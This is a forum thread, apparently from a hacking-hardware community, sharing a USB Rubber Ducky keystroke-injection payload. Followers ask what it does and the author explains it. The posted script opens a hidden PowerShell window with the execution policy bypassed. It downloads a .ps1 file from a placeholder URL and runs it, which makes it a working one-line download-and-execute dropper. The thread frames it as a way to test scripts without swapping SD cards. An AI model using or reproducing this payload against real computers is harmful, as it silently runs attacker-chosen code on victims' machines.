Jump to content

[PAYLOAD] Download and Execute script one liner


Vivaldi
 Share

Recommended Posts

Hey guys,

I just got my rubber ducky and got tired of having to open up my Rubber Duck and transferring the SD card around to test scripts. So I made a little one liner to download and run a .ps1 script.

 

REM Downoad and execute script
DEFAULT_DELAY 100
GUI r
DELAY 200
STRING powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command md "$env:userprofile\temp"; iwr "<YOUR URL>/1.ps1 -outfile "$env:userprofile\temp\1.ps1"; cd $env:userprofile\temp;sleep 5; & .\1.ps1
ENTER
Link to comment
Share on other sites

  • 2 weeks later...

What exactly does this do? 
I also get extremely tired of opening it up and putting the MicroSD card in my Bash Bunny Mark II to change inject.bin and duckycode.txt files. 
I have written and rewritten so many and have so many stored on a Google Drive link for everyone and myself, but it does get annoying AF. 
Any hardware workaround to this? 
I know the button you hold down on the ducky before you insert it, but that was to flash the TwinDuck firmware on once. Does that put it in Mass Storage Mode too? 
Either way, I hope this script sets it in Mass Storage Mode. Otherwise, I would love to know how to easily swap out the MicroSD for scripts. 
I will try this out when I have some time. Thanks. 

Link to comment
Share on other sites

This script simply downloads an external script (let's say you have one on your google drive or your website) and downloads through Invoke-WebRequest and executes the downloaded script. Which means you can adjust and upload the script again if it doesn't work properly.

For this ducky script I named the script "1.ps1". So as long as you name the new/adjusted script "1.ps1" it will download and run that one.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...